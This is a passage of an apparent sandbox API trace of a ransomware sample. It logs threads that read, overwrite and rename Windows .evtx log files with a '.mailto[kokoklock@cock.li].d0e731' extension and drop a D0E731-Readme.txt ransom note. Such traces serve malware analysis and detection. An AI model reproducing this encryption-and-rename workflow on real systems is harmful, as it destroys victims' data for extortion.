lpNewFilePointer=0x0) returned 1 [0063.371] ReadFile (in: hFile=0x3b8, lpBuffer=0xa22fd7c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa22fd78, lpOverlapped=0x0 | out: lpBuffer=0xa22fd7c*, lpNumberOfBytesRead=0xa22fd78*=0x4, lpOverlapped=0x0) returned 1 [0063.373] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.373] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfb0 [0063.373] NtQuerySystemTime (in: CurrentTime=0xa22fd54 | out: CurrentTime=0xa22fd54*=132121176212683924) returned 0x0 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x3596e1a1 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x1a777e23 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xdf0d8e8d [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x5b981d0d [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x325de29c [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x555c7e74 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x44de196b [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x16c3fc0 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x2f1c9edb [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xf6fe8421 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x3f8d125b [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xb652e3ef [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x7d7e9edd [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x84ac365e [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x9c41c76 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x3a44e192 [0063.373] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x9371f94c [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x6a5074c6 [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xe2d6dddb [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xef66cc6a [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xd69f05e3 [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x7865f03b [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xb90d3adc [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xd1bf6e8c [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x9d5a9002 [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x4143edea [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x47b7ae3f [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x862f3a56 [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xfc1bb3c4 [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0xf73d2375 [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x5e3cb495 [0063.374] RtlRandom (in: Seed=0xa22fd60 | out: Seed=0xa22fd60) returned 0x96ced6ce [0063.382] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0063.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.385] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.385] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.385] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.385] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa22fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa22fd2c*=0x4096, lpOverlapped=0x0) returned 1 [0063.386] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.386] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.386] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.386] WriteFile (in: hFile=0x3b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa22fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0xa22fd2c*=0x4096, lpOverlapped=0x0) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.387] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.387] WriteFile (in: hFile=0x3b8, lpBuffer=0x347d000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa22fd64, lpOverlapped=0x0 | out: lpBuffer=0x347d000*, lpNumberOfBytesWritten=0xa22fd64*=0x20, lpOverlapped=0x0) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.387] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.387] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cb50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa22fd78, lpOverlapped=0x0 | out: lpBuffer=0x347cb50*, lpNumberOfBytesWritten=0xa22fd78*=0x8, lpOverlapped=0x0) returned 1 [0063.387] WriteFile (in: hFile=0x3b8, lpBuffer=0xa22fd90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa22fd78, lpOverlapped=0x0 | out: lpBuffer=0xa22fd90*, lpNumberOfBytesWritten=0xa22fd78*=0x4, lpOverlapped=0x0) returned 1 [0063.387] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa22fd78, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa22fd78*=0x4, lpOverlapped=0x0) returned 1 [0063.387] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa22fd78, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa22fd78*=0x6c, lpOverlapped=0x0) returned 1 [0063.387] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cee8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa22fd78, lpOverlapped=0x0 | out: lpBuffer=0x347cee8*, lpNumberOfBytesWritten=0xa22fd78*=0x20, lpOverlapped=0x0) returned 1 [0063.387] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa22fd78, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa22fd78*=0x4, lpOverlapped=0x0) returned 1 [0063.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.388] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb50) returned 1 [0063.388] CloseHandle (hObject=0x3b8) returned 1 [0063.391] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa8) returned 0x33ce9d8 [0063.391] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" [0063.391] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" [0063.391] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.392] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0063.392] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", dwFileAttributes=0x20) returned 0 [0063.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.392] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.392] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.392] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc760) returned 1 [0063.393] RtlExitUserThread (Status=0x1) Thread: id = 173 os_tid = 0x112c [0063.394] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0063.394] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", dwFileAttributes=0x20) returned 1 [0063.394] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.394] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xa2af8d8 | out: lpFileSize=0xa2af8d8*=69632) returned 1 [0063.395] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.395] ReadFile (in: hFile=0x3b8, lpBuffer=0xa2af8ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa2af8a8, lpOverlapped=0x0 | out: lpBuffer=0xa2af8ac*, lpNumberOfBytesRead=0xa2af8a8*=0x4, lpOverlapped=0x0) returned 1 [0063.396] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0063.396] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb50 [0063.396] NtQuerySystemTime (in: CurrentTime=0xa2af884 | out: CurrentTime=0xa2af884*=132121176212840287) returned 0x0 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xeb094dc6 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x45d5e2e3 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xc11bf098 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xd6138300 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x82838996 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xe7d17e7e [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x92d884fd [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x71f0c8b2 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x73b93218 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x1c5f0f82 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xbc1cea08 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x6a6c7c98 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xdf30df85 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x7934db45 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xab2f0fc9 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xbc1518a7 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xca493ace [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xea82360 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x21d263b7 [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x7b36532b [0063.396] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x4e543312 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xdb6010 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xaee4c033 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x98efa354 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xef542546 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x962bfd91 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0xace4dfe8 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x79e0c20d [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x74e5f0e6 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x98721521 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x84b66549 [0063.397] RtlRandom (in: Seed=0xa2af890 | out: Seed=0xa2af890) returned 0x58fee13b [0063.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.409] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.409] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3475830 [0063.409] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.409] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa2af85c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xa2af85c*=0x4096, lpOverlapped=0x0) returned 1 [0063.410] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda18 [0063.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479b50 [0063.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.410] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.410] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0063.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cb00 [0063.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d000) returned 1 [0063.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479b50) returned 1 [0063.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda18) returned 1 [0063.411] WriteFile (in: hFile=0x3b8, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa2af85c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0xa2af85c*=0x4096, lpOverlapped=0x0) returned 1 [0063.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0063.411] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x11000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.411] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cb00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa2af894, lpOverlapped=0x0 | out: lpBuffer=0x347cb00*, lpNumberOfBytesWritten=0xa2af894*=0x20, lpOverlapped=0x0) returned 1 [0063.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cb00) returned 1 [0063.411] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0063.411] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cfd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa2af8a8, lpOverlapped=0x0 | out: lpBuffer=0x347cfd8*, lpNumberOfBytesWritten=0xa2af8a8*=0x8, lpOverlapped=0x0) returned 1 [0063.411] WriteFile (in: hFile=0x3b8, lpBuffer=0xa2af8c0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa2af8a8, lpOverlapped=0x0 | out: lpBuffer=0xa2af8c0*, lpNumberOfBytesWritten=0xa2af8a8*=0x4, lpOverlapped=0x0) returned 1 [0063.411] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa2af8a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xa2af8a8*=0x4, lpOverlapped=0x0) returned 1 [0063.412] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa2af8a8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xa2af8a8*=0x6c, lpOverlapped=0x0) returned 1 [0063.412] WriteFile (in: hFile=0x3b8, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa2af8a8, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0xa2af8a8*=0x20, lpOverlapped=0x0) returned 1 [0063.412] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa2af8a8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xa2af8a8*=0x4, lpOverlapped=0x0) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cee8) returned 1 [0063.412] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cfd8) returned 1 [0063.412] CloseHandle (hObject=0x3b8) returned 1 [0063.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33ce9d8 [0063.415] wcscpy (in: _Dest=0x33ce9d8, _Source="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" [0063.415] wcscat (in: _Dest=0x33ce9d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" [0063.415] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0063.416] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0063.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce9d8) returned 1 [0063.416] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", dwFileAttributes=0x20) returned 0 [0063.416] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3434668 [0063.416] wcscpy (in: _Dest=0x3434668, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0063.416] wcscat (in: _Dest=0x3434668, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0063.416] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0063.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434668) returned 1 [0063.416] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8598) returned 1 [0063.416] RtlExitUserThread (Status=0x1) Thread: id = 174 os_tid = 0x1130 [0063.418] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0063.418] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", dwFileAttributes=0x20) returned 1 [0063.419] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0063.419] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0xa32fd94 | out: lpFileSize=0xa32fd94*=69632) returned 1 [0063.419] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.419] ReadFile (in: hFile=0x3b8, lpBuffer=0xa32fd68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa32fd64, lpOverlapped=0x0 | out: lpBuffer=0xa32fd68*, lpNumberOfBytesRead=0xa32fd64*=0x4, lpOverlapped=0x0) returned 1 [0063.420] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.420] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347d000 [0063.420] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cee8 [0063.420] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cfd8 [0063.420] NtQuerySystemTime (in: CurrentTime=0xa32fd40 | out: CurrentTime=0xa32fd40*=132121176213156128) returned 0x0 [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xb767ac07 [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x81816279 [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x8cdc1dca [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xc9890cd4 [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xfdb6bfba [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xfafc1b1a [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x15e0a405 [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x4afe1bae [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xa57a2723 [0063.420] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x9f68e3f1 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x50de4f8a [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x2efd8839 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0xc8c23232 [0063.421] RtlRandom (in: Seed=0xa32fd4c | out: Seed=0xa32fd4c) returned 0x528efbb [0063.421] RtlRandom (in: 